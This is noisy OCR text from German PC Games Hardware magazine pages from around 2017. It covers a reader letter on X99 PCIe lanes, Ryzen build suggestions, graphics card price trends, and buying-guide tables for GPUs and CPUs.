Ich würde den Core i7-6850K verbauen, um 
die 40 Lanes zu haben und meine Grafikkarten 
mit vollen 16 Lanes zu betreiben. 

Jan O., per E-Mail 


Torsten Vogel: Das MSI X99A SLI habe ich 
nicht getestet, daher stütze ich meine Analyse 
auf die Angaben im Handbuch. Demzufolge 
gibt es keine Überschneidung zwischen der 
M.2-Anbindung und den PCI-Express-Slots. 
Nur die CPU-Lanes #0 bis #31 scheinen für 
Erweiterungssteckplätze genutzt zu werden 
(х16/х16/х0 oder x8/x16/x8). Es stehen bei 
Einsatz eines 40-Laners also acht weitere für 
den U.2- und den M.2-Port zur Verfügung. 
Schaltet man den M.2-Steckplatz in diesem 
Szenario auf x2-2.0-Anbindung via PCH um, 
bleiben die frei werdenden 3.0-Lanes #36 bis 
#39 schlicht ungenutzt. Die flexible Anbindung 
wird auf dem X99A SLI nur genutzt, um auch 
mit 28-Lane-CPUs, bei denen #36 bis #39 deak- 
tiviert sind, einen M.2-Betrieb zu ermöglichen 
(28-Lane-Käufer sollten daher lieber zum X99A 
Raider - Test in der PCGH-Ausgabe 10/2016 - 
greifen. Diesem fehlt der U.2-Port, dafür werden 
M.2-NVME-SSDs mit allen CPUs über die 3.0-La- 
nes #32 bis #35 angebunden). 


PC Games Hardware Online; 
wichtige Dienste und Partner 


Alternate: Soll es eine neue Grafikkarte oder ein 
PCGH-PC sein? Besuchen Sie den größten IT-Händler in 
Deutschland! www.pcgh.de/alternate 

Der PCGH-PC: Wenn Sie auf der Suche nach einem gut 
abgestimmten Rechner sind, kommen Sie um die PCGH- 
PCs kaum herum. www.pcgh-pc.de 


® Abos online bestellen: 
www.pcgh.de/shop 


JP PCGH als Digitalausgabe: | 
pcgh.de/digital-ausgabe 


JP Einzelheft bestellen: 
www.pcgh.de/heft 


Die Leserbriefe geben nicht die Meinung der Redaktion wieder. Die Redaktion behält sich 
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Rossis Restekiste 

Dritte Hand 

Ich stütze meinen Kopf ganz gerne mit meiner Hand. Oft ist es aber so, dass man 

eine oder zwei Hànde für die Tastatur benótigt. Auch die Maus verlangt nach Füh- 

rung durch eine Hand. Hier hat die Natur einfach nicht mitgedacht und vergessen, 

eine dritte Hand zu schaffen. Dieses Problem hat man jedoch in Japan gelóst. 

Für weniger als 100 US-Dollar erhält man eine zusätzliche, stützende Hand samt 

Unterarm. Leider beinhaltet dieses äh ... Gestell keinerlei Mechanik, um sich von 

der Hand auch an die Stirn klatschen zu lassen. 
www.japantrendshop.com/chin-rest-arm-p-3178.html 


Worte des Monats 


„Das Skynet-Szenario der Terminator-Filme ist 
plötzlich nicht mehr so abwegig wie früher.” 


Aus einer Studie des Unternehmens loactive, das die Kombination aus immer 
leistungsfähigeren Kl-Systemen und zahlreichen aufgespürten und schwerwiegenden Sicher- 
heitslücken bei Assistenz- und Industrierobotern als ernst zu nehmende Gefahr einschátzt. 


Bild des Monats 


Get the best deal on your cloud storage with OneDrive 
fo ibscription gets yo 


Quick сот 
‘№ ubicription gets you 1 TE (1000 
$F Dropbox op а эз Word, басе, and 


С] DVD RW Drive (Е) 
e m za 


Microsoft preist Windows-10-Nutzern aufdringlich die eigenen Produkte an — dieses 
Mal den Cloud-Service im Explorer. Entfernen Sie zur Deaktivierung in den Ordneropti- 
onen den Haken bei „Benachrichtigungen des Synchronisierungsanbieters anzeigen". 


Bild: http:;//i.imgur.com/ISktIXg.png (von https://www.reddit.com/user/aj1985) 
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I SERVICE | Projekt-PCs: Ryzen 


Projekt-PCs: Ryzen 


In jeder Ausgabe stellt die PC Games Hardware zwei Beispielkonfigurationen zusammen, an denen 


Sie sich orientieren können, um einen eigenen PC zu bauen. 


MDs erste Ryzen-CPU-Genera- 
tion Summit Ridge ist in Form 
dreier CPUs erschienen: R7 1800X, 
R7 1700X und R7 1700. Das ist An- 
lass genug, zwei entsprechende 
PC-Konfigurationen zusammenzu- 


Zen-Achtkerner gut zum Rendern. 
Wer viel mit Videobearbeitung zu 
tun hat, kann zum günstigen Preis 
glücklich werden. Zum anderen ma- 
chen die CPUs in Spielen eine gute 
Figur - keine perfekte, aber eine 


Patches noch verbessert werden 
könnte. Etwas schwierig ist noch 
die Auswahl des Arbeitsspeichers, 
besonders wenn man für größere 
Projekte 32 GiByte haben möchte. 
In beiden Fällen haben wir uns an 


gehalten, auch wenn es auf dem 
Papier bessere Kits zum gleichen 
Preis gäbe. Wichtig: Die Kingston- 
Module sind „double ranked“, was 
die Leistung in unseren Tests stär- 
ker verbessert als Single-ranked- 


stellen. Zum einen eignen sich die gute, die durch spielespezifische die offizielle Kompatibilitätsliste RAM mit höherem Takt. (mm) 


Render-PC 


Hersteller und Produkt 

AMD Ryzen 7 1700 

Wraith Spire LED (Boxed) 

XFX Radeon RX 460 Passive Heatsink 4G 

MSI Geforce GTX 1050 Aero ITX 2G 

MSI B350 Tomahawk 

Corsair Vengeance LPX, 2x 16 GiB, DDR4-2666 
HDD Seagate Barracuda Compute 4 TB €120- SSD Intel SSD 600p 256 GB € 100,- 
Netzteil Be quiet Straight Power 10 400 W € 70,- Netzteil Seasonic G-550 550 W PCGH-Edition € 90,- 


Gesamtpreis (ab) € 1.025,- Gesamtpreis (ab) € 1.140,- 


Ryzen 7 1700 Ryzen 7 1700X 

Der R7 1700 ist mit 345 Euro günstig, Der R7 1700X arbeitet mit 3,4 bis 3,8 
aktet mit 3,0 GHz (Basis) aber auch GHz und eignet sich damit ab Werk bes- 
verhältnismäßig gering. Die Kombina- ser zum Spielen als der R7 1700. Wer 
ion aus CPU, B350-Mainboard und ein Hochstellen des Multiplikators nicht 
Wraith Spire LED erlaubt ein Übertak- scheut, kann sich den Aufpreis sparen 
en — wer das nicht möchte, kann zu oder beispielsweise in eine bessere 
einem R7 1700X und Drittanbieter-Küh- Grafikkarte investieren. Ein CPU-Kühler 
er greifen. Da keine GPU integriert ist, liegt nicht bei, sodass ein solcher sepa- 
wird eine kleine Grafikkarte benötigt. rat gekauft werden muss. 


Gaming-PC 


Preis 
€ 400,- 

€45,- 
€ 245,- 
€ 540,- 
€ 120,- 
€ 140,- 


Hersteller und Produkt 

AMD Ryzen 7 1700X 

Thermalright HR-02 Macho Rev. B 

MSI Radeon RX 480 Gaming X 8G 
Gainward Geforce GTX 1080 Phoenix GS 
MSI B350 Tomahawk 

Kingston Hyperx Fury, 2x 8 GiB, DDR4-2666 


Preis 
€ 345,- 


Komponente Komponente 


Prozessor 
CPU-Kühler 
Grafikkarte (AMD) 
Grafikkarte (Nvidia) 
Mainboard 


Arbeitsspeicher 


Prozessor 
CPU-Kühler 
Grafikkarte (AMD) 
Grafikkarte (Nvidia) 
Mainboard 
Arbeitsspeicher 


€ 130,- 
SB; 
020 
€ 245,- 


AMD frion? 1790 


амо D 


RYZEN 


Grafikkarte 

Bei der Wahl der Grafikkarte kommt es 
letztendlich auf den Anspruch und das 
Budget an. Exemplarisch nennen wir 
eine Mittel- und Oberklasse-GPU, de- 
ren Preise kürzlich gesenkt wurden. Die 
Radeon RX 480 erscheint attraktiver als 
eine Geforce GTX 1060. Darüber hinaus 
liegen die GTX 1080 und GTX 1070 
preisleistungstechnisch fast gleich auf. 


Wraith Spire LED 
Der Wraith Spire LED ist für einen Bo- 
xed-CPU-Kühler ein vergleichsweise 
groBes Konstrukt, das einige Reserven 
zum Übertakten offenhält. Wer nicht 
unbedingt auf einen lautlosen PC be- 
steht, sollte der Kühllösung eine Chance 
geben. Alternativ gibt es bereits einige 
Dutzend Nachrüstkühler von Dritther- 
stellern, die für АМА zugelassen sind. 


Bild: MSI 


Alternativ-Komponenten 


I Ryzen 7 1700X oder 1800X plus AM4-kompatiblen CPU-Kühler, zum 
Beispiel Thermalrights HR-02 Macho Rev. B 


I Stárkere Grafikkarte, wenn der PC auch zum Spielen herhalten soll 


Alternativ-Komponenten 
I Ryzen 7 1700 mit Boxed-Kühler 


1 Asus ROG Crosshair VI Hero zum Übertakten per Referenztakt; Giga- 
byte Aorus GA-AX370-Gaming 5 für bessere Ausstattung 
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AGAZIN Test: GTX 1080 H 


PC Games Hardware begleitet Sie МАА m O 
jetzt überall — egal, ob auf Tablet, 
Smartphone, KindleFire oder im Browser. — i 


PC Games Hardware ist jetzt immer dabei. 
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Digital-und-Print-Kombiabonnements der PC Games Hardware gibt's auf shop.pcgameshardware.de. Стб 


PC Games Hardware und alle digitalen Magazine auch im iKiosk, OnlineKiosk und im Pressekatalog erhältlich. Computec Media Group 


Einkaufsführer 


Preisentwicklung und Kauftipps www.pcgh.de/einkaufsfuehrer 


Grafikkarten 
werden günstiger 


In der Kategorie Grafikkarten bewegte sich inner- 
halb des PCGH-Preisvergleiches zuletzt einiges. 
AMD und dessen Boardpartner verkaufen offen- 
sichtlich die RX-400-Modelle ab und Nvidia hat 
nach der Vorstellung der Geforce GTX 1080 Ti die 
GTX 1080 im Preis gesenkt. 


ie Gerüchteküche brodelt beim Thema Ra- 

deon RX 500. Die Serie soll angeblich Mitte 
April debütieren, allerdings auf altbekannte Po- 
laris-Grafikchips setzen. Neue Namen haben das 
Ziel, die Verkäufe anzukurbeln. Vor allem OEMs 
stehen im Ruf, sich über sogenannte Rebrands 
zu freuen. Für kundige Endkäufer können sol- 
che Situationen auch Vorteile mit sich bringen: 
Die bisherigen Grafikkarten sind nicht unbe- 
dingt veraltet, werden aber trotzdem mit Rabat- 
ten abverkauft, um die Lager zu leeren. 


Bild: Aidbox 


Preisentwicklung Asus ROG Radeon RX 480 Strix 8G 


Infolgedessen sind zahlreiche Polaris-Modelle 


günstiger geworden. Das betrifft vor allem die 330 

8-GiByte-Modelle der Radeon RX 480, die sich 

jetzt bei 225 Euro tummeln. MSI hat bereits vor 310 319 Euro 

Wochen die Preise seiner Gaming-X-Versionen e 

gesenkt, inzwischen sind andere Hersteller m 290 

nachgezogen. Asus, der zuletzt noch überdurch- Е 

schnittlich hohe Preise aufgerufen hatte, bietet Ё 270 

seine КОС Strix ab 250 Euro an. Im Falle der RX 

470 gibt es die 8-GiByte-Karten ab 215 Euro. 250 ER 
Bild: Asus 

Auf der anderen Seite hat Nvidia Bewegung ins 230 DINE San 


High-End-Segment gebracht. Die Geforce GTX 
1080 Ti ging für 819 Euro an den Start, gleich- 
zeitig sank die Preisempfehlung der GTX 1080 
in der Founders Edition von 789 auf 635 Euro. Preisentwicklung KFA2 Geforce GTX 1080 EXOC 
Die günstigsten Custom-Designs wechseln ab 
500 Euro den Besitzer. Hóherwertige Modelle 680 
mit größeren Kühllösungen sind ab rund 540 
Euro erhältlich. 640 


Zeit 


N 669 Euro 


Im Falle der Geforce GTX 1070 hat Nvidia die 600 


unverbindliche Preisempfehlung der Founders 
Edition von 499 auf 459 Euro gesenkt. Auswir- 
kungen auf den Einzelhandel haben sich auch 
Wochen später jedoch nur vereinzelt gezeigt 520 
und das auch nur um wenige Euro. Die günstigs- Bild: KFA2 
ten Custom-Designs sind weiterhin ab knapp 480 
400 Euro erhältlich, die „besseren“ ab 420 bis 
440 Euro. (mm) 


560 


Preis in Euro 


498 Euro Es 
07.2016 > 03.2017 
Zeit 
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Fax: 01805 / 86 180 02 
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ОНМЕ DVD 12,90 € 
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ABO-VORTEILE 


* Günstiger als am Kiosk 
* Versandkostenfrei 
bequem per Post 


E ° Pünktlich und aktuell 


* Keine Ausgabe verpassen 


Einfach bequem online bestellen: shop.linux-magazin.de 
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Einkaufsführer Grafikkarten 


Preise: Stand 23.03.2017 


WEITE ERPREIS-LEISTUNGS-TIPP 


[ERS f] SPAR-TIPP 


aufgrund des aktualisierten Leistungsindex (siehe Grafikkarten-Startseite)! 


Nvidia Geforce Circa- Grafik- 3D-Taktung Verbrauch Länge/ А Benötigte Lautheit Test in PCGH-Preisvergleich 
Preis | speicher (GPU-Boost/RAM) |(2D/3D/Ernstfall) | (Slot-)Breite | Stromstecker | (2D/3D/Ernstfall) PCGH 
Nvidia GTX 1080 Ti Founder's Ed. * | € 820,- | 11.264 МІВ | 1.550+/1.377 MHz | 13/230/250 Wa 26,7/3,5 cm x 8-/1x 6-Pol | 0,4/4,0/4,4 Sone 1,69 05/2017 — (www.nvidia.de) 
Zotac GTX 1080 AMP! Extreme €610,- | 8.192 MiB 1.987+/1.350 MHz | 10/259/275 Wa 31,2/5,0 ст | 2x 8-Pol 0,0/1,7/1,9 Sone 1,81 08/2016 | www.pcgh.de/preis/1449220 
Gainward GTX 1080 Phoenix GLH | € 580,- | 8.192 MiB 1.911+/1.315 MHz | 8/219/220 Watt 28,5/5,2 cm x 8-/1x 6-Pol | 0,0/1,5/1,5 Sone 1,83 08/2016 | www.pcgh.de/preis/1456253 
Palit GTX 1080 Game Rock Prem. | €600,- | 8.192 MiB 1.911+/1.315 MHz | 8/220/220 Watt 28,5/5,2 cm x 8-/1x 6-Pol | 0,0/1,5/1,5 Sone 1,85 08/2016 | www.pcgh.de/preis/1449283 
EVGA GTX 1080 FTW ACX 3.0 € 580,- | 8.192 MiB 1.936+/1.251 MHz | 12/237/247 Wa 27,3/3,5 cm | 2x 8-Pol 0,0/2,4/2,4 Sone 1,87 08/2016 | www.pcgh.de/preis/1449255 
Inno 3D GTX 1080 iChill X3 € 580,- | 8.192 MiB 1.949+/1.301 MHz | 12/237/239 Wa 30,2/4,5 cm x 8-/1x 6-Pol | 0,0/1,9/1,9 Sone 1,88 08/2016 | www.pcgh.de/preis/1449258 
MSI GTX 1080 Gaming X 8G € 570,- | 8.192 MiB 1.886+/1.251 MHz | 13/235/245 Wa 27,7/3,5 cm x 8-/1x 6-Pol | 0,0/2,3/2,3 Sone 1,89 08/2016 | www.pcgh.de/preis/1449271 
Asus GTX 1080 Strix OC € 750,- | 8.192 MiB 1.898+/1.251 MHz | 8/199/202 Watt 29,9/3,6 cm x 8-/1x 6-Pol | 0,0/3,6/3,6 Sone 1,90 08/2016 | www.pcgh.de/preis/1449229 
Gigabyte GTX 1080 G1 Gaming € 560,- | 8.192 MiB 1.810+/1.251 MHz | 9/200/201 Watt 28,1/3,5 cm x 8-Po 0,0/4,1/4,1 Sone 1,94 08/2016 | www.pcgh.de/preis/1449277 
Zotac GTX 1070 AMP! Extreme € 470,- | 8.192 MiB 1.987+/4.104 MHz | 12/219/253 Wa 31,2/5,0 cm | 2х 8-Po 0,0/1,6/1,9 Ѕопе 2,07 09/2016 | www.pcgh.de/preis/1456755 
Palit GTX 1070 Game Rock Prem. | € 470,- | 8.192 MiB 1.936+/4.253 MHz | 9/171/174 Watt 28,5/5,2 cm x 8-Po 0,0/0,8/0,8 Sone 2,08 08/2016 | www.pcgh.de/preis/1456802 
Inno 3D GTX 1070 iChill X3 € 450,- | 8.192 MiB 1.949+/4.104 MHz | 10/190/192 Wa 30,2/4,5 cm x 8-Po 0,0/1,5/1,5 Sone 2,12 09/2016 | www.pcgh.de/preis/1450744 Гнїїїшпге є 
Asus GTX 1070 Strix ОС € 490,- | 8.192 MiB 1.911+/4.007 MHz | 8/166/167 Watt 29,9/3,5 cm x 8-Po 0,0/1,8/1,8 Sone 2,13 08/2016 | www.pcgh.de/preis/1450613 
MSI GTX 1070 Gaming X 8G € 450,- | 8.192 MiB 1.924+/4.007 MHz | 11/208/208 Wa 27,7/3,5 cm x 8-/1x 6-Pol | 0,0/1,4/1,4 Sone 2,14 08/2016 | www.pcgh.de/preis/1456552 
EVGA GTX 1070 SC ACX 3.0 € 440,- | 8.192 MiB 1.772+/4.007 MHz | 8/149/153 Watt 26,7/3,5 cm x 8-Po 0,0/0,7/0,7 Sone 2,14 09/2016 | www.pcgh.de/preis/1456822 
Gigabyte GTX 1070 G1 Gaming € 450,- | 8.192 MiB 1.873+/4.007 MHz | 9/181/182 Wa 28,1/3,5 cm x 8-Po 0,0/3,5/3,5 Sone 2,17 09/2016 | www.pcgh.de/preis/1450713 
Asus GTX 1060 Strix OC € 330,- | 6.144 MiB 1.987+/4.104 MHz | 8/145/145 Watt 30,0/3,5 cm x 8-Po 0,0/2,4/2,4 Sone 2,47 10/2016 | www.pcgh.de/preis/1478721 
MSI GTX 1060 Gaming X 6G € 300,- | 6.144 MiB 1.949+/4.007 MHz | 8/146/146 Wa 27,7/3,5 cm x 8-Po 0,0/0,7/0,7 Sone 2,49 10/2016 | www.pcgh.de/preis/1478791 
Zotac GTX 1060 AMP! € 280,- | 6.144 MiB 1.848+/4.007 MHz | 9/121/123 Watt 21,1/3,4 cm x 8-Po 0,0/1,0/1,0 Sone 2,52 10/2016 | www.pcgh.de/preis/1478147 
Gigabyte GTX 1060 G1 Gaming € 300,- | 6.144 MiB 1.962+/4.007 MHz | 9/153/153 Wa 27,9/3,5 cm x 8-Po 0,0/2,4/2,4 Sone 2,53 10/2016 | www.pcgh.de/preis/1479045 
Gainward GTX 1060 Phoenix GS € 290,- | 6.144 MiB 1.860+/4.007 MHz | 6/124/125 Wa 24,6/4,8 cm x 6-Po 0,0/1,4/1,4 Sone 2,54 10/2016 | www.pcgh.de/preis/1478764 
Palit GTX 1060 Super Jetstream € 300,- | 6.144 MiB 1.860+/4.007 MHz | 6/123/125 Watt 24,8/4,8 cm x 6-Po 0,0/1,3/1,3 Sone 2,56 10/2016 | www.pcgh.de/preis/1478641 
EVGA GTX 1060 SC Gaming € 280,- | 6.144 MiB 1.898+/4.007 MHz | 6/122/125 Wa 18,2/3,5 cm x 6-Po 0,0/2,5/2,5 Sone 2,60 10/2016 | www.pcgh.de/preis/1479077 
Palit GTX 1060 3GB Dual € 215,- | 3.072 MiB 1.848+/4.007 MHz | 6/126/127 Watt 25,3/3,4 cm x 6-Po 0,1/1,4/1,4 Sone 2,77 01/2017 | www.pcgh.de/preis/1480332 
KFA2 GTX 1060 3GB OC € 200,- | 3.072 MiB 1.810+/4.007 MHz | 9/122/123 Wa 23,4/3,5 cm x 6-Po 0,3/1,5/1,5 Sone 2,79 01/2017 | www.pcgh.de/preis/1494969 
Zotac GTX 1060 3GB Mini € 205,- | 3.072 MiB 1.797+/4.007 MHz | 9/120/120 Watt 17,5/3,4 cm x 6-Po 1,2/3,4/3,4 Sone 2,83 01/2017 | www.pcgh.de/preis/1495006 
Asus GTX 1050 Ti Strix O4G € 175,- | 4.096 MiB 1.797+/3.504 MHz | 8/76/92 Watt 24,1/3,5 cm x 6-Po 0,0/0,8/0,9 Sone 2,90 01/2017 | www.pcgh.de/preis/1527166 
Gigabyte GTX 1050 Ti G1 Gaming | € 175,- | 4.096 MiB 1.645+/3.504 MHz | 8/67/68 Watt 22,0/3,5 cm x 6-Po 0,0/0,3/0,3 Sone 2,93 01/2017 | www.pcgh.de/preis/1526013 
MSI GTX 1050 Ti Gaming X 4G € 170,- | 4.096 MiB 1.734+/3.504 MHz | 5,5/75/76 Wat 22,9/3,5 cm x 6-Po 0,0/0,3/0,3 Sone 2,95 01/2017 | www.pcgh.de/preis/1524111 
EVGA GTX 1050 Ti SC Gaming € 165,- | 4.096 MiB 1.557+/3.504 MHz | 6/56/59 Watt 15,2/3,5 cm 0,2/0,4/0,4 Sone 3,00 01/2017 | www.pcgh.de/preis/1525248 
Asus GTX 1050 Expedition € 135,- | 2.048 MiB 1.493+/3.504 MHz | 6/55/55 Watt 21,1/3,5 cm 0,0/0,5/0,5 Sone 3,20 01/2017 | www.pcgh.de/preis/1525209 
AMD Radeon EE = 
AMD R9 Fury X ** € 530,- | 4.096 MiB 1.050/1.000 MHz 21/346/385 Wa 19,5/3,3 cm | 2x 8-Po 1,3/1,6/1,6 Sone 2,52 09/2015 | www.pcgh.de/preis/1285955 
MSI RX 480 Gaming X 8G € 240,- | 8.192 MiB 1.303/4.000 MHz 8/209/225 Wa 27,5/3,5 cm x 8-Po 0,0/2,2/2,4 Sone 2,56 0/2016 | www.pcgh.de/preis/1473074 
Asus R9 Fury Strix € 580,- | 4.096 MiB | 970+/1.000 MHz 12/267/274 Wa 30,0/3,5 cm | 2х 8-Po 0,0/2,6/3,1 Ѕопе 2,60 09/2015 | www.pcgh.de/preis/1296495 
Sapphire RX 480 Nitro+ OC 8GB € 260,- | 8.192 MiB 1.300+/4.000 MHz 4/215/230 Wa 24,0/3,5 cm x 8-Ро 0,0/5,4/6,6 Sone 2,61 0/2016 | www.pcgh.de/preis/1477778 
Asus RX 480 Strix OC € 260,- | 8.192 MiB 1.260+/4.000 MHz | 18/179/180 Wa 30,0/3,5 cm x 8-Po 0,0/4,2/4,2 Sone 2,62 0/2016 | www.pcgh.de/preis/1479631 
Asus R9 Nano White €370,- | 4.096 MiB | 850+/1.000 MHz 4/198/205 Wa 15,3/3,5 cm x 8-Po 0,8/2,9/2,9 Sone 2,64 06/2016 | www.pcgh.de/preis/1355032 
Powercolor RX 480 Red Devil € 240,- | 8.192 MiB 1.190+/4.000 MHz | 18/199/200 Wa 30,0/3,5 cm x 8-Pol 0,0/2,3/2,3 Sone 2,66 0/2016 | www.pcgh.de/preis/1480295 
XFX RX 480 GTR Black Edition € 250,- | 8.192 MiB 1.320+/4.000 MHz 7/190/203 Wa 28,4/3,5 cm x 8-Po 0,0/4,6/4,7 Sone 2,67 0/2016 | www.pcgh.de/preis/1485555 
Sapphire RX 480 Nitro+ 4D5 OC € 205,- | 4.096 MiB 1.306/3.500 MHz 14/207/220 Wa 24,0/3,5 cm x 8-Po 0,0/4,2/5,0 Sone 2,71 0/2016 | www.pcgh.de/preis/1477762 
Sapphire RX 470 Nitro+ 4D5 OC € 210,- | 4.096 MiB 1.220+/3.500 MHz | 15/195/209 Wa 24,0/3,5 cm x 8-Ро 0,0/2,5/2,7 Sone 2,77 01/2017 | www.pcgh.de/preis/1483308 
MSI RX 470 Gaming X 4G € 190,- | 4.096 MiB 1.242/3.300 MHz 6/188/222 Wa 27,5/3,5 cm x 8-Po 0,0/1,8/3,0 Sone 2,79 01/2017 | www.pcgh.de/preis/1488427 
Gigabyte RX 470 G1 Gaming 4G € 190,- | 4.096 MiB 1.230/3.300 MHz 22/184/185 Wa 23,4/3,5 cm x 8-Po 0,0/2,4/2,4 Sone 2,83 01/2017 | www.pcgh.de/preis/1488416 
HIS RX 470 IceQ X? Turbo € 190,- | 4.096 MiB 1.100+/3.500 MHz 5/160/162 Wa 22,3/3,5 cm x 6-Po 0,0/1,5/1,5 Sone 2,85 01/2017 | www.pcgh.de/preis/1488555 
XFX RX 470 RS Black Edition € 195,- | 4.096 MiB 1.080+/3.500 MHz 41152/155 Wa 24,6/3,5 cm x 6-Ро 0,0/2,2/2,6 Sone 2,86 01/2017 | www.pcgh.de/preis/1488365 
Powercolor RX 470 Red Devil € 195,- | 4.096 MiB 1.125+/3.500 MHz 711741182 Wa 24,0/3,5 cm x 8-Po 0,0/4,6/4,7 Sone 2,88 01/2017 | www.pcgh.de/preis/1488318 
Asus RX 470 Strix OC € 195,- | 4.096 MiB 1.050+/3.300 MHz 6/146/151 Wa 24,2/3,5 cm x 6-Po 0,0/3,2/3,6 Sone 2,90 01/2017 | www.pcgh.de/preis/1488369 
Sapphire R9 380X Nitro € 250,- | 4.096 MiB 1.040/3.000 MHz 5/239/250 Wa 23,5/3,5 cm | 2x 6-Po 0,0/2,4/2,5 Sone 2,99 01/2016 | www.pcgh.de/preis/1351755 
Asus R9 380X Strix OC € 270,- | 4.096 MiB 1.030/2.850 MHz 15/199/203 Wa 27,0/3,7 ст | 2x 6-Po 0,0/1,5/1,5 Sone 3,01 01/2016 | www.pcgh.de/preis/1357101 
MSI R9 380 Gaming 4G € 180,- | 4.096 MiB | 980/2.850 MHz 19/209/229 Wa 26,7/3,5 cm | 2x 6-Po 0,0/1,6/2,0 Sone 3,07 09/2015 | www.pcgh.de/preis/1282072 
Asus R9 380 Strix DC20C-2GD5 € 200,- | 2.048 MiB | 990/2.750 MHz 9/220/230 Wa 27,0/3,7 cm | 1x 8-Po 0,0/1,3/1,3 Sone 3,18 09/2015 | www.pcgh.de/preis/1282736 
Sapphire R9 380 ITX Compact €240,- | 2.048 MiB | 980/2.800 MHz 1/186/210 Wa 17,1/3,5 cm | 1x 8-Po 0,2/2,3/2,4 Sone 3,20 10/2015 | www.pcgh.de/preis/1280836 
Asus RX 460 Strix O4G € 140,- | 4.096 MiB 1.225+/3.500 MHz | 9/98/105 Watt 19,5/3,5 cm | 1x 6-Po 0,0/1,6/1,6 Sone 3,21 01/2017 | www.pcgh.de/preis/1490013 
Sapphire R7 370 Nitro 4GB € 190,- | 4.096 MiB | 985/2.800 MHz 12/115/120 Wa 21,3/3,5 cm | 1x 6-Ро! 0,0/0,9/1,1 Sone 3,29 03/2016 | www.pcgh.de/preis/1282684 


"Aus dem Nvidia-Shop; die Boardpartner verkaufen die Founder's Edition ebenfalls — mit variierendem Zubehör. **Beliebige Referenzkarte, bis auf die Beigaben sind alle gleich. Sapphire-Karten: Sofern verfügbar, wurde die Full-Retail-Version getestet. 
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Einkaufsführer Prozessoren & RAM — 


(КТ PREIS-LEISTUNGS-TIPP [EL FT SPAR-TIPP 


Prozessoren 
AMD-Prozessoren | Preis Leistung* Stromverbrauch** | Kerne | Grafik Basis-Takt Prozess | RAM (max.) | Sockel ЭТ PCG svergle 
"NEU AvD Ryzen 7 1800X | Са. Є 535,- | 80,0 %/85,1 % | 28/224/326/281 8c/16t |- 3,6 GHz + Turbo | 14 пт | DDR4-2667 | АМА 1,83 | 05/2017 | www.pcgh.de/preis/1582191 
"NEU AvD Ryzen 7 1700X | Са. € 395,- | 77,2 %/80,8 % | 28/218/315/274 8c/16t |- 3,4 GHz + Turbo |14пт | DDR4-2667 | AMA 1,91 05/2017 | www.pcgh.de/preis/1582190 
УМЕО? AMD Ryzen 7 1700 |Ca.€345,- | 73,8 %/75,2 % | 28/206/296/262 8c/16t |- 3,0 GHz + Turbo |14пт | DDR4-2667 | AMA 2,01 05/2017 | www.pcgh.de/preis/1582201 
AMD FX-9590 Ca. € 175,- | 59,4 %/46,2 % | 40/441/383/309 4т/8ї |- 4,7 GHz + Turbo |32nm | DDR3-1866 | AM3+ 2,98 | 03/2016 | www.pcgh.de/preis/973468 
AMD FX-8370 Ca. Є 160,- | 55,1 %/42,2 % | 39/359/318/227 4m/8t |- 4,0 GHz + Turbo |32пт | DDR3-1866 | AM3+ 3,04 -*** | www.pcgh.de/preis/1155953 
AMD FX-8350 Ca. Є 130,- | 54,6 %/42,0 % | 40/355/312/218 4т/8ї |- 4,0 GHz + Turbo | 32 nm | DDR3-1866 | AM3+ 3,05 | 03/2016 | www.pcgh.de/preis/852989 
AMD FX-8300 Ca. € 100,- | 49,5 %/36,3 % | 38/243/295/288 4m/8t |- 3,3 GHz + Turbo |32пт | DDR3-1866 | AM3+ 3,16 | 03/2017 | www.pcgh.de/preis/1156019 
AMD FX-8320E Са. Є 120,- | 48,2 %/35,6 % | 38/282/260/164 4m/8t |- 3,2 GHz + Turbo | 32 пт | DDR3-1866 | AM3+ 3,18 -*** | www.pcgh.de/preis/1155966 
AMD FX-6350 Са. € 105,- | 48,3 %/33,1 % | 40/316/285/190 3m/6t | - 3,9 GHz + Turbo |32nm | DDR3-1866 | AM3+ 3,25 ER www.pcgh.de/preis/939528 
ПИ ШЭ, AMD FX-6300 Ca. € 85,- 46,3 %/30,5 % | 40/287/272/174 3m/6t |- 3,5 GHz + Turbo | 32 пт | DDR3-1866 | AM3+ 3,31 кк www.pcgh.de/preis/853168 
AMD A10-7870K Ca. € 120,- | 36,0 %/23,2 % | 29/224/255/239 2m/4t | Rad. R7-Serie | 3,9 GHz + Turbo |28nm | DDR3-2133 | FM2+ 3,39 -*** | www.pcgh.de/preis/1259232 
AMD FX-4300 (Tray) | Ca. € 55,- 37,5 %/22,8 % | 41/262/251/154 2m/4t |- 3,8 GHz + Тиро |32пт |DDR3-1866 | AM3+ 3,55 „rer www.pcgh.de/preis/853505 
IT T Ath on X4 845 Ca. € 45,- 33,5 %/22,0 % | 22/233/206/119 2m/4t |- 3,5 GHz + Turbo | 28 nm | DDR3-2133 | FM2+ 3,65 | 05/2016 | www.pcgh.de/preis/1404132 
Intel-Prozessoren Preis Leistung* Stromverbrauch** | Kerne | Grafik Basis-Takt Prozess | RAM (max.) | Sockel ЭТ PCGH-Preisvergleich 
ntel Core 17-6950Х | Са. € 1.750,- | 100 %/100 % | 50/239/370/304 10c/20t | - 3,0 GHz + Turbo | 14 пт | DDR4-2400 | 2011-13 | 1,51 07/2016 | www.pcgh.de/preis/1394456 
ntel Core i7-7700K | Ca. € 360,- | 98,2 %/65,8 % | 19/223/320/302 4cd8t | HD 630 4,2 GHz +Turbo | 14 пт | DDR4-2400 | 1151 1,63 | 02/2017 | www.pcgh.de/preis/1551097 
ntel Core i7-6900K | Ca. € 1.100,- | 96,8 %/90,7 % | 50/243/349/313 8c/16t |- 3,0 GHz + Turbo | 14 пт |DDR4-2400 |2011-v3| 1,69 | 07/2016 | www.pcgh.de/preis/1394462 
ntel Core 17-6700К | Ca. € 335,- | 91,8 %/60,7 % | 21/302/256/126 4cd8t | HD 530 4,0 GHz + Turbo |14пт | DDR4-2133 |1151 1,79 | 03/2016 | www.pcgh.de/preis/1290371 
ntel Core i7-5775C | Ca. € 400,- | 95,9 %/54,7 9o | 19/287/252/120 Ac/8t | Iris Pro 6200 | 3,3 GHz + Turbo | 14nm | DDR3(L)-1600 | 1150 1,85 | 03/2016 | www.pcgh.de/preis/1275291 
ntel Core i7-5960X | Ca. € 1.110,- | 88,4 %/81,2 % | 49/364/286/202 8c/16t |- 3,0 GHz + Turbo | 22 пт | DDR4-2133 |2011-v3 | 1,96 | 03/2016 | www.pcgh.de/preis/1121089 
ntel Core i7-6800K | Ca. € 425,- | 89,3 %/70,2 % | 49/235/344/296 6c/12t |- 3,4 GHz + Turbo | 14 пт | DDR4-2400 |2011-v3| 2,07 | 08/2016 | www.pcgh.de/preis/1394467 
